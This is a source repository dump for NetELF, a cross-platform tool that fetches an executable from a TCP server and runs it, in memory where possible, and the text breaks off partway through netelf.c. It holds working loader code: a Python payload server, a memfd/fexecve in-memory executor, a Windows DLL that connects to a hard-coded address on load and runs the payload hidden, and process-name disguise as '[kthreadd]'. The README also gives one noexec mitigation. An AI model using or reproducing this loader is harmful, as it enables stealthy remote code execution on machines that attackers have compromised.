├── bin ├── .gitignore ├── test.ULTRIX.VAX.exe ├── test.Win32.MSVC.exe ├── netelf.ULTRIX.VAX.exe ├── test.Linux.x86_64.exe ├── test.win32.mingw.exe ├── test.win64.mingw.exe ├── netelf.Linux.x86_64.exe ├── test.Win32.MSVC.x86.exe ├── test.Win32.PellesC.exe ├── netelf.Win32.MSVC.normal.exe ├── netelf.Win32.MSVC.small.exe ├── netelf.win32.mingw.normal.dll ├── netelf.win32.mingw.normal.exe ├── netelf.win32.mingw.small.dll ├── netelf.win32.mingw.small.exe ├── netelf.win64.mingw.normal.dll ├── netelf.win64.mingw.normal.exe ├── netelf.win64.mingw.small.dll ├── netelf.win64.mingw.small.exe ├── test_loaddll.Linux.x86_64.exe ├── test_loaddll.win32.mingw.exe ├── test_loaddll.win64.mingw.exe ├── netelf.Win32.MSVC.x86.small.dll ├── netelf.Win32.MSVC.x86.small.exe ├── netelf.Win32.Mingw32.normal.exe ├── netelf.Win32.Mingw32.small.exe ├── netelf.Win32.Mingw64.normal.exe ├── netelf.Win32.Mingw64.small.exe ├── netelf.Win32.PellesC.normal.dll ├── netelf.Win32.PellesC.normal.exe ├── netelf.Win32.PellesC.small.exe ├── test_loaddll.Win32.MSVC.x86.exe ├── test_loaddll.Win32.PellesC.exe ├── netelf.Win32.MSVC.x86.normal.dll └── netelf.Win32.MSVC.x86.normal.exe ├── .gitignore ├── test.c ├── Makefile ├── test_loaddll.c ├── _lib.c ├── README.md ├── server.py ├── _linux.c ├── _win32.c └── netelf.c /bin/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | -------------------------------------------------------------------------------- /bin/test.ULTRIX.VAX.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test.ULTRIX.VAX.exe -------------------------------------------------------------------------------- /bin/test.Win32.MSVC.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test.Win32.MSVC.exe -------------------------------------------------------------------------------- /bin/netelf.ULTRIX.VAX.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.ULTRIX.VAX.exe -------------------------------------------------------------------------------- /bin/test.Linux.x86_64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test.Linux.x86_64.exe -------------------------------------------------------------------------------- /bin/test.win32.mingw.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test.win32.mingw.exe -------------------------------------------------------------------------------- /bin/test.win64.mingw.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test.win64.mingw.exe -------------------------------------------------------------------------------- /bin/netelf.Linux.x86_64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Linux.x86_64.exe -------------------------------------------------------------------------------- /bin/test.Win32.MSVC.x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test.Win32.MSVC.x86.exe -------------------------------------------------------------------------------- /bin/test.Win32.PellesC.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test.Win32.PellesC.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.MSVC.normal.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.MSVC.normal.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.MSVC.small.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.MSVC.small.exe -------------------------------------------------------------------------------- /bin/netelf.win32.mingw.normal.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win32.mingw.normal.dll -------------------------------------------------------------------------------- /bin/netelf.win32.mingw.normal.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win32.mingw.normal.exe -------------------------------------------------------------------------------- /bin/netelf.win32.mingw.small.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win32.mingw.small.dll -------------------------------------------------------------------------------- /bin/netelf.win32.mingw.small.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win32.mingw.small.exe -------------------------------------------------------------------------------- /bin/netelf.win64.mingw.normal.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win64.mingw.normal.dll -------------------------------------------------------------------------------- /bin/netelf.win64.mingw.normal.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win64.mingw.normal.exe -------------------------------------------------------------------------------- /bin/netelf.win64.mingw.small.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win64.mingw.small.dll -------------------------------------------------------------------------------- /bin/netelf.win64.mingw.small.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.win64.mingw.small.exe -------------------------------------------------------------------------------- /bin/test_loaddll.Linux.x86_64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test_loaddll.Linux.x86_64.exe -------------------------------------------------------------------------------- /bin/test_loaddll.win32.mingw.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test_loaddll.win32.mingw.exe -------------------------------------------------------------------------------- /bin/test_loaddll.win64.mingw.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test_loaddll.win64.mingw.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.MSVC.x86.small.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.MSVC.x86.small.dll -------------------------------------------------------------------------------- /bin/netelf.Win32.MSVC.x86.small.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.MSVC.x86.small.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.Mingw32.normal.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.Mingw32.normal.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.Mingw32.small.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.Mingw32.small.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.Mingw64.normal.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.Mingw64.normal.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.Mingw64.small.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.Mingw64.small.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.PellesC.normal.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.PellesC.normal.dll -------------------------------------------------------------------------------- /bin/netelf.Win32.PellesC.normal.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.PellesC.normal.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.PellesC.small.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.PellesC.small.exe -------------------------------------------------------------------------------- /bin/test_loaddll.Win32.MSVC.x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test_loaddll.Win32.MSVC.x86.exe -------------------------------------------------------------------------------- /bin/test_loaddll.Win32.PellesC.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/test_loaddll.Win32.PellesC.exe -------------------------------------------------------------------------------- /bin/netelf.Win32.MSVC.x86.normal.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.MSVC.x86.normal.dll -------------------------------------------------------------------------------- /bin/netelf.Win32.MSVC.x86.normal.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiphosResearch/netelf/HEAD/bin/netelf.Win32.MSVC.x86.normal.exe -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | netelf 2 | *.log 3 | *.pid 4 | *.swp 5 | *.obj 6 | *.sln 7 | *.vcxproj 8 | *.vcxproj.* 9 | /Debug/ 10 | /Release/ 11 | -------------------------------------------------------------------------------- /test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(argc, argv) 4 | int argc; 5 | char **argv; 6 | { 7 | int i; 8 | printf("Hello World\n"); 9 | for( i = 0; i < argc; i++ ) { 10 | printf("%d = %s\n", i, argv[i]); 11 | } 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ifdef DEBUG 2 | CFLAGS = -O0 -ggdb 3 | else 4 | CFLAGS = -Os -s -fomit-frame-pointer 5 | endif 6 | 7 | TARGETS=bin/netelf bin/test bin/test_loaddll 8 | 9 | all: $(TARGETS) 10 | 11 | bin/netelf: netelf.c 12 | $(CC) $(CFLAGS) -o $@ $^ -lrt 13 | 14 | bin/test: test.c 15 | $(CC) $(CFLAGS) -o $@ $^ 16 | 17 | bin/test_loaddll: test_loaddll.c 18 | $(CC) $(CFLAGS) -o $@ $^ -ldl 19 | 20 | clean: 21 | rm -f $(TARGETS) 22 | -------------------------------------------------------------------------------- /test_loaddll.c: -------------------------------------------------------------------------------- 1 | #ifndef _WIN32 2 | typedef void* HMODULE; 3 | #include 4 | #include 5 | #else 6 | #include 7 | #endif 8 | 9 | int main(argc, argv) 10 | int argc; 11 | char **argv; 12 | { 13 | HMODULE library; 14 | 15 | if( argc < 2 ) { 16 | printf("%s \n", argv[0]); 17 | return 1; 18 | } 19 | 20 | #ifdef _WIN32 21 | library = LoadLibrary(argv[1]); 22 | #else 23 | library = dlopen(argv[1], 0); 24 | #endif 25 | if( library == NULL ) { 26 | printf("Error: cannot load library!"); 27 | } 28 | 29 | #ifdef _WIN32 30 | FreeLibrary(library); 31 | #else 32 | dlclose(library); 33 | #endif 34 | 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /_lib.c: -------------------------------------------------------------------------------- 1 | 2 | #ifdef NEED_MEMSET 3 | void *memset(void *dest, int c, size_t count) 4 | { 5 | char *bytes = (char *)dest; 6 | while (count--) 7 | { 8 | *bytes++ = (char)c; 9 | } 10 | return dest; 11 | } 12 | #endif 13 | 14 | 15 | #ifdef NEED_STRCHR 16 | char * 17 | strchr (s, c) 18 | const char *s; 19 | int c; 20 | { 21 | for (;;) 22 | { 23 | if (*s == c) 24 | return (char *) s; 25 | if (*s == 0) 26 | return 0; 27 | s++; 28 | } 29 | } 30 | #endif 31 | 32 | 33 | #ifdef NEED_STRPBRK 34 | char * 35 | strpbrk(const char *s1, const char *s2) 36 | { 37 | const char *p; 38 | while (*s1) 39 | { 40 | for (p = s2; *p; p++) 41 | if (*s1 == *p) 42 | return (char *)s1; 43 | s1++; 44 | } 45 | return 0; 46 | } 47 | #endif 48 | 49 | 50 | #ifdef NEED_STRLEN 51 | size_t 52 | strlen (const char *s) 53 | { 54 | size_t i; 55 | 56 | i = 0; 57 | while (s[i] != 0) 58 | i++; 59 | 60 | return i; 61 | } 62 | #endif 63 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NetELF 2 | 3 | Run the client side of NetELF to download and execute a program over the network from a server. The server sends an arbitrary binary and command-line arguments. 4 | 5 | Where possible it will execute the program in-memory, it will not leave files on the filesystem. This makes it ideal for pentests, emergencies and general systems automation. 6 | 7 | Originally inspired by a post on [this post on comp.unix.programmer](https://groups.google.com/forum/message/raw?msg=comp.unix.programmer/V1M97GBxIXo/6JQtqmpHSsQJ). 8 | 9 | ## Supported Platforms 10 | 11 | Fully supported & tested: 12 | 13 | * Linux 14 | * Windows 7 15 | 16 | Regularly tested & partially supported: 17 | 18 | * Solaris x86, Sparc 19 | * OpenVMS VAX, Alpha 20 | * Ultrix VAX, RISC 21 | * Windows 95+, NT 3.51+ 22 | 23 | Others that it should work on 24 | 25 | * FreeBSD 26 | * OSX 27 | * OSF/1 28 | * HP-UX 29 | * QNX 30 | * z/OS 31 | 32 | ## Example 33 | 34 | ``` 35 | make 36 | ./server.py /bin/ls -la &> /dev/null & 37 | ./netelf 127.0.0.1 1337 38 | ./netelf 127.0.0.1 1337 39 | ``` 40 | 41 | ## In-memory Execution 42 | 43 | I looked into the source code for glibc and musl to see what goes on behind the scenes, interesting, it executes the file from `/proc/self/fd/%d`. 44 | 45 | See the following: 46 | * [Glibc implementation of fexecve](https://github.com/jeremie-koenig/glibc/blob/master-beware-rebase/sysdeps/unix/sysv/linux/fexecve.c) 47 | * [musl implementation of procfdname](https://github.com/esmil/musl/blob/master/src/internal/procfdname.c) 48 | * [musl implementation of fexecve](https://github.com/esmil/musl/blob/master/src/process/fexecve.c) 49 | 50 | Mount options on tmpfs permiate through to `/proc/self/fd/`, so to disable you need to add `noexec` to `/dev/shm` and other tmpfs mounts: 51 | 52 | ``` 53 | sudo mount /dev/shm/ -o remount,rw,nosuid,nodev,noexec -t tmpfs 54 | ``` 55 | 56 | This causes `fexecve: Permission denied` because the `shm_open` succeeded, but silently the file descriptor didn't get `+x` permission, doing `fchmod` on the handle won't work either. The file permissions can be checked with `fstat`. 57 | 58 | Regarding which executables will work with this technique, the most reliable have been self-contained, statically linked executables. In some cases (where the same libc was used on the host used to compile the executable and on the host it is being executed on, and where both have the same libraries/dependencies), dynamically linked executables have worked. Executables which rely on specific environments or external files generally tend to fail. 59 | 60 | Furthermore, it is possible to pass arguments to the executable you are running in-memory! The name of the process is derived from `argv[0]`, this can be customised using `--argv0 [kthreadd]`. By default it will use the `basename` of the executable file. 61 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import print_function 3 | import argparse 4 | import sys 5 | import os.path 6 | from struct import pack 7 | from socket import socket, AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR 8 | 9 | 10 | def encode_args(argv): 11 | data = '\0' 12 | offlist = [] 13 | for arg in argv: 14 | offs = len(data) 15 | data += arg + '\0' 16 | offlist.append(offs) 17 | offlist.append(0) 18 | offlist.reverse() 19 | outargs = ''.join([pack('!I', N) for N in offlist]) 20 | return pack('!II', len(data), len(offlist)) + outargs + data 21 | 22 | 23 | def run_server(filedata, args): 24 | print("[*] Listening on %s:%d" % (args.ip, args.port)) 25 | sock = socket(AF_INET, SOCK_STREAM) 26 | sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 27 | sock.bind((args.ip, args.port)) 28 | sock.listen(1) 29 | try: 30 | while True: 31 | try: 32 | conn, client_addr = sock.accept() 33 | print("[+] Sending payload (%d bytes) to %r" % ( 34 | len(filedata), client_addr)) 35 | try: 36 | conn.sendall(encode_args(args.argv)) 37 | conn.sendall(pack('!I', len(filedata))) 38 | conn.sendall(filedata) 39 | finally: 40 | conn.close() 41 | except Exception as ex: 42 | print(ex) 43 | print("Client failed!") 44 | pass 45 | except KeyboardInterrupt: 46 | print("[!] Shutting down...") 47 | sock.close() 48 | return 1 49 | 50 | 51 | def main(args): 52 | parser = argparse.ArgumentParser(description='Process some integers.') 53 | parser.add_argument('--argv0', metavar='name', type=str, default=None, 54 | help='Program name (argv[0])', nargs=1) 55 | parser.add_argument('--no-argv0', action='store_true') 56 | parser.add_argument('--ip', metavar='ip', type=str, default=["127.0.0.1"], 57 | help='TCP listen ip', nargs=1) 58 | parser.add_argument('--port', metavar='port', type=int, default=1337, 59 | help='TCP listen port', nargs=1) 60 | parser.add_argument('cmd', nargs=1, help='Local executable name or path') 61 | parser.add_argument('argv', nargs='*', help='command arguments') 62 | args = parser.parse_args() 63 | 64 | prog_name = os.path.basename(args.argv0[0] if args.argv0 else args.cmd[0]) 65 | if not args.no_argv0: 66 | args.argv.insert(0, prog_name) 67 | 68 | args.ip = args.ip[0] 69 | 70 | print("IP: ", args.ip) 71 | print("Port: ", args.port) 72 | print("File: ", args.cmd[0]) 73 | print("argv: ", args.argv) 74 | 75 | filedata = open(args.cmd[0], 'rb').read() 76 | return run_server(filedata, args) 77 | 78 | 79 | if __name__ == "__main__": 80 | sys.exit(main(sys.argv[1:])) 81 | -------------------------------------------------------------------------------- /_linux.c: -------------------------------------------------------------------------------- 1 | #define HAVE_LINUX_MEMFD 2 | #define HAVE_INET_PTON 3 | #define NO_FALLBACK 4 | #define USE_FORK 5 | 6 | 7 | #ifdef HAVE_LINUX_MEMFD 8 | 9 | #define NETELF_OVERRIDE_SOCKEXEC 10 | 11 | #include 12 | 13 | 14 | static int sock_exec_fallback(int sockfd, unsigned int nbytes, unsigned int argc, char **argv); 15 | static unsigned int sock_readbytes(int sockfd, char *buf, unsigned int nbytes); 16 | 17 | /* 18 | * No glibc wrappers exist for memfd_create(2), so provide our own. 19 | * 20 | * Also define memfd fcntl sealing macros. While they are already 21 | * defined in the kernel header file , that file as 22 | * a whole conflicts with the original glibc header . 23 | */ 24 | 25 | /* flags for memfd_create(2) (unsigned int) */ 26 | #define MFD_CLOEXEC 0x0001U 27 | #define MFD_ALLOW_SEALING 0x0002U 28 | 29 | static inline int memfd_create(const char *name, unsigned int flags) { 30 | return syscall(__NR_memfd_create, name, flags); 31 | } 32 | 33 | #ifndef F_LINUX_SPECIFIC_BASE 34 | #define F_LINUX_SPECIFIC_BASE 1024 35 | #endif 36 | 37 | #ifndef F_ADD_SEALS 38 | #define F_ADD_SEALS (F_LINUX_SPECIFIC_BASE + 9) 39 | #define F_GET_SEALS (F_LINUX_SPECIFIC_BASE + 10) 40 | 41 | #define F_SEAL_SEAL 0x0001 /* prevent further seals from being set */ 42 | #define F_SEAL_SHRINK 0x0002 /* prevent file from shrinking */ 43 | #define F_SEAL_GROW 0x0004 /* prevent file from growing */ 44 | #define F_SEAL_WRITE 0x0008 /* prevent writes */ 45 | #endif 46 | 47 | 48 | static int 49 | sock_exec_impl( int sockfd, unsigned int nbytes, unsigned int argc, char **argv ) { 50 | char *ptr, *buf; 51 | int shm_fd, rc; 52 | int method = 0; 53 | extern char **environ; 54 | 55 | shm_fd = memfd_create("\254", MFD_CLOEXEC); 56 | if( shm_fd < 0 || errno == ENOSYS ) { 57 | method = 1; 58 | shm_fd = shm_open("\254", O_RDWR | O_CREAT, 0777); 59 | if (shm_fd == -1) { 60 | #ifndef QUIET 61 | perror("shm_open"); 62 | #endif 63 | return sock_exec_fallback(sockfd, nbytes, argc, argv); 64 | } 65 | } 66 | 67 | rc = ftruncate(shm_fd, nbytes); 68 | if (rc == -1) { 69 | close(shm_fd); 70 | #ifndef QUIET 71 | perror("ftruncate"); 72 | #endif 73 | return sock_exec_fallback(sockfd, nbytes, argc, argv); 74 | } 75 | 76 | buf = ptr = (char *)mmap(NULL, nbytes, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0); 77 | if (ptr == MAP_FAILED) { 78 | #ifndef QUIET 79 | perror("mmap"); 80 | #endif 81 | close(shm_fd); 82 | return sock_exec_fallback(sockfd, nbytes, argc, argv); 83 | } 84 | 85 | sock_readbytes(sockfd, buf, nbytes); 86 | 87 | munmap(ptr, nbytes); 88 | 89 | if( method == 1 ) { 90 | close(shm_fd); 91 | shm_fd = shm_open("\254", O_RDONLY, 0); 92 | remove("/dev/shm/\254"); 93 | } 94 | 95 | fexecve(shm_fd, argv, environ); 96 | #ifndef QUIET 97 | perror("fexecve"); 98 | #endif 99 | return 6; 100 | } 101 | 102 | #define sock_exec_impl sock_exec_fallback 103 | 104 | #endif 105 | /* HAVE_LINUX_MEMFD */ 106 | -------------------------------------------------------------------------------- /_win32.c: -------------------------------------------------------------------------------- 1 | #define NETELF_OVERRIDE_FILE 2 | #define USE_RECV 3 | 4 | #ifdef NODEFAULTLIB 5 | # define QUIET 6 | # define NEED_STRCHR 7 | # define NEED_MEMSET 8 | # define NEED_WIN32_MALLOC_FREE 9 | # define NETELF_NEED_LIB_C 10 | #else 11 | # include 12 | #endif 13 | 14 | #pragma comment(lib, "kernel32.lib") 15 | #pragma comment(lib, "wsock32.lib") 16 | #include 17 | 18 | 19 | #ifdef NEED_WIN32_MALLOC_FREE 20 | void *malloc(size_t size) { 21 | return HeapAlloc(GetProcessHeap(), 0, size); 22 | } 23 | 24 | void *realloc(void *ptr, size_t new_size) { 25 | return HeapReAlloc(GetProcessHeap(), 0, ptr, new_size); 26 | } 27 | 28 | void free(void *ptr) { 29 | HeapFree(GetProcessHeap(), 0, ptr); 30 | } 31 | #endif 32 | 33 | 34 | struct ne_file_s { 35 | TCHAR name[MAX_PATH]; 36 | HANDLE handle; 37 | }; 38 | typedef struct ne_file_s ne_file_t; 39 | 40 | 41 | static int 42 | file_open(file) 43 | ne_file_t *file; 44 | { 45 | TCHAR lpTempPathBuffer[MAX_PATH]; 46 | DWORD dwShareMode; 47 | DWORD dwFlagsAndAttributes; 48 | HANDLE hFile; 49 | 50 | if (!GetTempPath(MAX_PATH, lpTempPathBuffer)) 51 | return 1; 52 | 53 | if (!GetTempFileName(lpTempPathBuffer, NULL, 0, file->name)) 54 | return 2; 55 | 56 | dwShareMode = FILE_SHARE_READ | FILE_SHARE_WRITE; 57 | dwFlagsAndAttributes = FILE_ATTRIBUTE_TEMPORARY; 58 | hFile = CreateFile(file->name, GENERIC_WRITE, dwShareMode, NULL, OPEN_EXISTING, dwFlagsAndAttributes, NULL); 59 | if (hFile == INVALID_HANDLE_VALUE) 60 | return 3; 61 | 62 | file->handle = hFile; 63 | return 0; 64 | } 65 | 66 | 67 | static unsigned int 68 | file_write(file, buf, nbytes) 69 | ne_file_t *file; 70 | void *buf; 71 | unsigned int nbytes; 72 | { 73 | DWORD byteswritten = 0; 74 | WriteFile(file->handle, buf, nbytes, &byteswritten, NULL); 75 | return byteswritten; 76 | } 77 | 78 | // https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/ 79 | static char * 80 | argv_to_cmdline( unsigned int argc, char **argv ) { 81 | #define EMITN(x,n) do { unsigned _i; for (_i = 0; _i < (n); _i++) dst[sofar++] = x; } while (0) 82 | #define EMIT(x) EMITN(x,1) 83 | #define EMITALL do { unsigned _i = 0; while (arg[_i]) dst[sofar++] = arg[_i++]; } while (0) 84 | char *dst = malloc(1024 * 32); 85 | size_t sofar = 0; 86 | size_t argIndex; 87 | 88 | for( argIndex = 0; argIndex < argc; ++argIndex ) { 89 | const char *arg = argv[argIndex]; 90 | if( ! arg ) 91 | break; 92 | 93 | if( argIndex ) 94 | EMIT(' '); 95 | 96 | const int quote = 97 | strchr(arg, ' ') != NULL || 98 | strchr(arg, '"') != NULL || 99 | strchr(arg, '\t') != NULL || 100 | strchr(arg, '\v') != NULL || 101 | *arg == '\0'; 102 | if( ! quote ) { 103 | EMITALL; 104 | continue; 105 | } 106 | 107 | EMIT('"'); 108 | for( const char *It = arg; ; ++It ) { 109 | unsigned NumberBackslashes = 0; 110 | while( *It && *It == '\\' ) { 111 | ++It; 112 | ++NumberBackslashes; 113 | } 114 | 115 | if( ! *It ) { 116 | EMITN('\\', NumberBackslashes * 2); 117 | break; 118 | } 119 | else if( *It == '"' ) { 120 | EMITN('\\', NumberBackslashes * 2 + 1); 121 | EMIT(*It); 122 | } 123 | else { 124 | EMITN('\\', NumberBackslashes); 125 | EMIT(*It); 126 | } 127 | } 128 | 129 | EMIT('"'); 130 | } 131 | EMIT('\0'); 132 | return dst; 133 | 134 | #undef EMIT 135 | #undef EMITN 136 | #undef EMITALL 137 | } 138 | 139 | 140 | static int 141 | file_exec(file, argc, argv) 142 | ne_file_t *file; 143 | unsigned int argc; 144 | char **argv; 145 | { 146 | STARTUPINFO startInfo; 147 | PROCESS_INFORMATION processInfo; 148 | DWORD dwFlags = 0; 149 | BOOL ret; 150 | char *cmdline = argv_to_cmdline(argc, argv); 151 | 152 | ZeroMemory(&startInfo, sizeof(startInfo)); 153 | ZeroMemory(&processInfo, sizeof(processInfo)); 154 | 155 | startInfo.cb = sizeof(startInfo); 156 | startInfo.dwFlags = STARTF_USESHOWWINDOW; 157 | 158 | #ifdef QUIET 159 | dwFlags = DETACHED_PROCESS; 160 | # ifdef CREATE_NO_WINDOW 161 | dwFlags |= CREATE_NO_WINDOW; 162 | # endif 163 | startInfo.wShowWindow = SW_HIDE; 164 | #endif 165 | 166 | CloseHandle(file->handle); 167 | ret = CreateProcessA(file->name, cmdline, NULL, NULL, FALSE, dwFlags, 168 | NULL, NULL, &startInfo, &processInfo); 169 | #ifndef QUIET 170 | if (!ret) { 171 | perror("CreateProcessA"); 172 | } 173 | #endif 174 | 175 | DeleteFile(file->name); 176 | 177 | if (ret) { 178 | CloseHandle(processInfo.hProcess); 179 | CloseHandle(processInfo.hThread); 180 | } 181 | 182 | return ret ? 0 : 1; 183 | } 184 | 185 | 186 | static int run_netelf(const char *ip_addr, int port); 187 | 188 | 189 | #if defined(NODEFAULTLIB) || defined(DLL) 190 | # if defined(_MSC_VER) 191 | # define DllMainCRTStartup _DllMainCRTStartup 192 | # endif 193 | int run_main () { 194 | return run_netelf("172.17.0.1", 1337); 195 | } 196 | #endif 197 | 198 | 199 | 200 | #ifdef NODEFAULTLIB 201 | # define NETELF_NO_MAIN 202 | 203 | 204 | #ifdef DLL 205 | 206 | BOOL APIENTRY DllMainCRTStartup( 207 | HMODULE hModule, 208 | DWORD ul_reason_for_call, 209 | LPVOID lpReserved 210 | ) { 211 | if (ul_reason_for_call == DLL_PROCESS_ATTACH) { 212 | run_main(); 213 | } 214 | return TRUE; 215 | } 216 | 217 | #else 218 | /* DLL */ 219 | 220 | void WinMainCRTStartup() 221 | { 222 | ExitProcess(run_main()); 223 | } 224 | 225 | #endif 226 | /* !DLL */ 227 | 228 | #else 229 | /* NODEFAULTLIB */ 230 | 231 | #ifdef DLL 232 | # define NETELF_NO_MAIN 233 | 234 | BOOL APIENTRY DllMain( 235 | HMODULE hModule, 236 | DWORD ul_reason_for_call, 237 | LPVOID lpReserved 238 | ) { 239 | if (ul_reason_for_call == DLL_PROCESS_ATTACH) { 240 | run_main(); 241 | } 242 | return TRUE; 243 | } 244 | 245 | #endif 246 | 247 | #endif 248 | /* !NODEFAULTLIB */ 249 | -------------------------------------------------------------------------------- /netelf.c: -------------------------------------------------------------------------------- 1 | #ifndef _WIN32 2 | /* UNIX-like/compatible platforms */ 3 | # include 4 | # include 5 | # include 6 | # include 7 | # include 8 | # include 9 | # include 10 | # include 11 | # include 12 | # include 13 | # include 14 | #endif 15 | 16 | #if defined(__unix__) || defined(unix) 17 | # define USE_FORK 18 | #endif 19 | 20 | #ifdef __VMS_VER 21 | # define USE_VFORK 22 | #endif 23 | 24 | 25 | /* 26 | * NETELF_ERROR is used to cause a compile error when 27 | * we can't rely on the preprocessor... e.g. when #error 28 | * causes a syntax error... 29 | */ 30 | #define NETELF_ERROR 0 31 | #ifndef _WIN32 32 | # if !defined(USE_FORK) && !defined(USE_VFORK) 33 | # undef NETELF_ERROR 34 | # define NETELF_ERROR unknown_fork_or_vfork 35 | # endif 36 | #endif 37 | 38 | static int _netelf_error = NETELF_ERROR; 39 | 40 | #ifdef _WIN32 41 | # include "_win32.c" 42 | #endif 43 | 44 | #ifdef __linux__ 45 | # include "_linux.c" 46 | #endif 47 | 48 | #ifdef NETELF_NEED_LIB_C 49 | # include "_lib.c" 50 | #endif 51 | 52 | 53 | #ifndef NETELF_OVERRIDE_FILE 54 | 55 | /* 56 | * POSIX-style portable file handle 57 | * used to write to the file, then execute it 58 | */ 59 | struct ne_file_s { 60 | char *name; 61 | int handle; 62 | }; 63 | typedef struct ne_file_s ne_file_t; 64 | 65 | 66 | static int 67 | file_open(file) 68 | ne_file_t *file; 69 | { 70 | int handle; 71 | #ifdef USE_TMPNAM 72 | char *filename = tmpnam("XXXXXX"); 73 | #else 74 | char *filename = tempnam(NULL, NULL); 75 | #endif 76 | 77 | handle = open(filename, O_CREAT | O_WRONLY, 0700); 78 | if (handle == -1) { 79 | return 1; 80 | } 81 | 82 | file->handle = handle; 83 | file->name = filename; 84 | return 0; 85 | } 86 | 87 | 88 | static unsigned int 89 | file_write(file, buf, nbytes) 90 | ne_file_t *file; 91 | void *buf; 92 | unsigned int nbytes; 93 | { 94 | return write(file->handle, buf, nbytes); 95 | } 96 | 97 | 98 | static int 99 | file_exec(file, argv) 100 | ne_file_t *file; 101 | char **argv; 102 | { 103 | pid_t child_pid = 0; 104 | extern char **environ; 105 | 106 | close(file->handle); 107 | 108 | # ifdef USE_VFORK 109 | child_pid = vfork(); 110 | # endif 111 | # ifdef USE_FORK 112 | child_pid = fork(); 113 | # endif 114 | 115 | if (child_pid == 0) { 116 | if (-1 == execve(file->name, argv, environ)) { 117 | #ifndef QUIET 118 | perror("execve"); 119 | #endif 120 | unlink(file->name); 121 | return 6; 122 | } 123 | } 124 | 125 | sleep(1); 126 | unlink(file->name); 127 | 128 | return 0; 129 | } 130 | 131 | #endif 132 | /* !NETELF_OVERRIDE_FILE */ 133 | 134 | 135 | static int 136 | 